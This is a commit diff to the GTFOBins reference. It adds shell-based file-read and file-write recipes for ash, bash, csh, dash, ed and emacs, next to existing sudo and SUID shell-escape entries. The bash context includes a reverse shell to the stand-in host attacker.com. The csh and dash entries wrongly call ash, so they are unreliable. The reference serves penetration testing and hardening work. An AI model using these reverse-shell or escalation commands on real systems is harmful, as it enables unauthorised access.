Add read/write for ash, bash, csh, dash, ed, and emacs

_gtfobins/ash.md

@@ -6,4 +6,8 @@ functions:
     - code: sudo ash
   suid-enabled:
     - code: ./ash
+  file-write:
+    - code: |
+        export LFILE=file_to_write
+        ash -c 'echo data > $LFILE'
 ---

_gtfobins/bash.md

@@ -40,4 +40,13 @@ functions:
         export RHOST=attacker.com
         export RPORT=12345
         bash -c 'bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1'
+  file-read: 
+    - description: It trims trailing newlines.
+      code: |
+        export LFILE=file_to_read
+        bash -c 'echo "$(<$LFILE)"'
+    - description: It trims trailing newlines.
+      code: |
+        export LFILE=file_to_read
+        bash -c $'read -d \x04 a < "$LFILE"; echo "$a"'
 ---

_gtfobins/csh.md

@@ -6,4 +6,8 @@ functions:
     - code: sudo csh
   suid-enabled:
     - code: ./csh -b
+  file-write:
+    - code: |
+        export LFILE=file_to_write
+        ash -c 'echo data > $LFILE'
 ---

_gtfobins/dash.md

@@ -6,4 +6,8 @@ functions:
     - code: sudo dash
   suid-enabled:
     - code: ./dash -p
+  file-write:
+    - code: |
+        export LFILE=file_to_write
+        ash -c 'echo data > $LFILE'
 ---

_gtfobins/ed.md

@@ -12,4 +12,11 @@ functions:
     - code: |-
         ./ed
         !/bin/sh
+  file-read: 
+    - code: |
+        ed file_to_read
+  file-write: 
+    - code: |
+        ed file_to_write
+        w
 ---

_gtfobins/emacs.md

@@ -6,4 +6,11 @@ functions:
     - code: sudo emacs -Q -nw --eval '(term "/bin/sh")'
   suid-enabled:
     - code: ./emacs -Q -nw --eval '(term "/bin/sh -p")'
+  file-read: 
+    - code: |
+        emacs file_to_read
+  file-write: 
+    - code: |
+        emacs file_to_write
+        C-x C-s
 ---